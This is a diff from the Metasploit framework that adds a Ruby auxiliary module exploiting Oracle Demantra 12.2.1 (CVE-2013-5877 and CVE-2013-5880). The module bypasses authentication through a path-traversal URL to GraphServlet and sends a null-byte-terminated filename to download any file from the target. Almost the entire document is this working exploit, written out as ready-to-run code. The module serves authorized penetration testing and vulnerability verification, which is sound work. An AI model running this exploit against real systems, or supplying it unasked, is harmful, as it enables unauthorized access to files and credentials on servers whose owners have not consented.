Land rapid7#3149 - Oracle Demantra Arbitrary File Retrieval with auth bypass

Author: wchen-r7

modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb

@@ -0,0 +1,82 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',
+      'Description'    => %q{
+       This module exploits a file downlad vulnerability found in Oracle Demantra 12.2.1 in
+       combination with an authentication bypass. This way an unauthenticated user can retreive
+       any file on the system by referencing the full file path to any file a vulnerable machine.
+      },
+      'References'     =>
+        [
+          [ 'CVE', '2013-5877'],
+          [ 'CVE', '2013-5880'],
+          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/'],
+          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/']
+        ],
+      'Author'         =>
+        [
+          'Oliver Gruskovnjak'
+        ],
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => "Feb 28 2014"
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptBool.new('SSL',   [false, 'Use SSL', false]),
+        OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini'])
+      ], self.class)
+
+    deregister_options('RHOST')
+  end
+
+  def run_host(ip)
+    filename = datastore['FILEPATH']
+    authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet"
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(authbypass),
+      'method' => 'POST',
+      'encode_params' => false,
+      'vars_post' => {
+        'filename' => "#{filename}%00"
+      }
+    })
+
+    if res.nil? or res.body.empty?
+      fail_with("No content retrieved from: #{ip}")
+    end
+
+    if res.code == 404
+      print_error("#{rhost}:#{rport} - File not found")
+      return
+    end
+
+    if res.code == 200
+      print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
+      fname = File.basename(datastore['FILEPATH'])
+      path = store_loot(
+        'oracle.demantra',
+        'application/octet-stream',
+        ip,
+        res.body,
+        fname)
+
+      print_good("#{ip}:#{rport} - File saved in: #{path}")
+    end
+  end
+end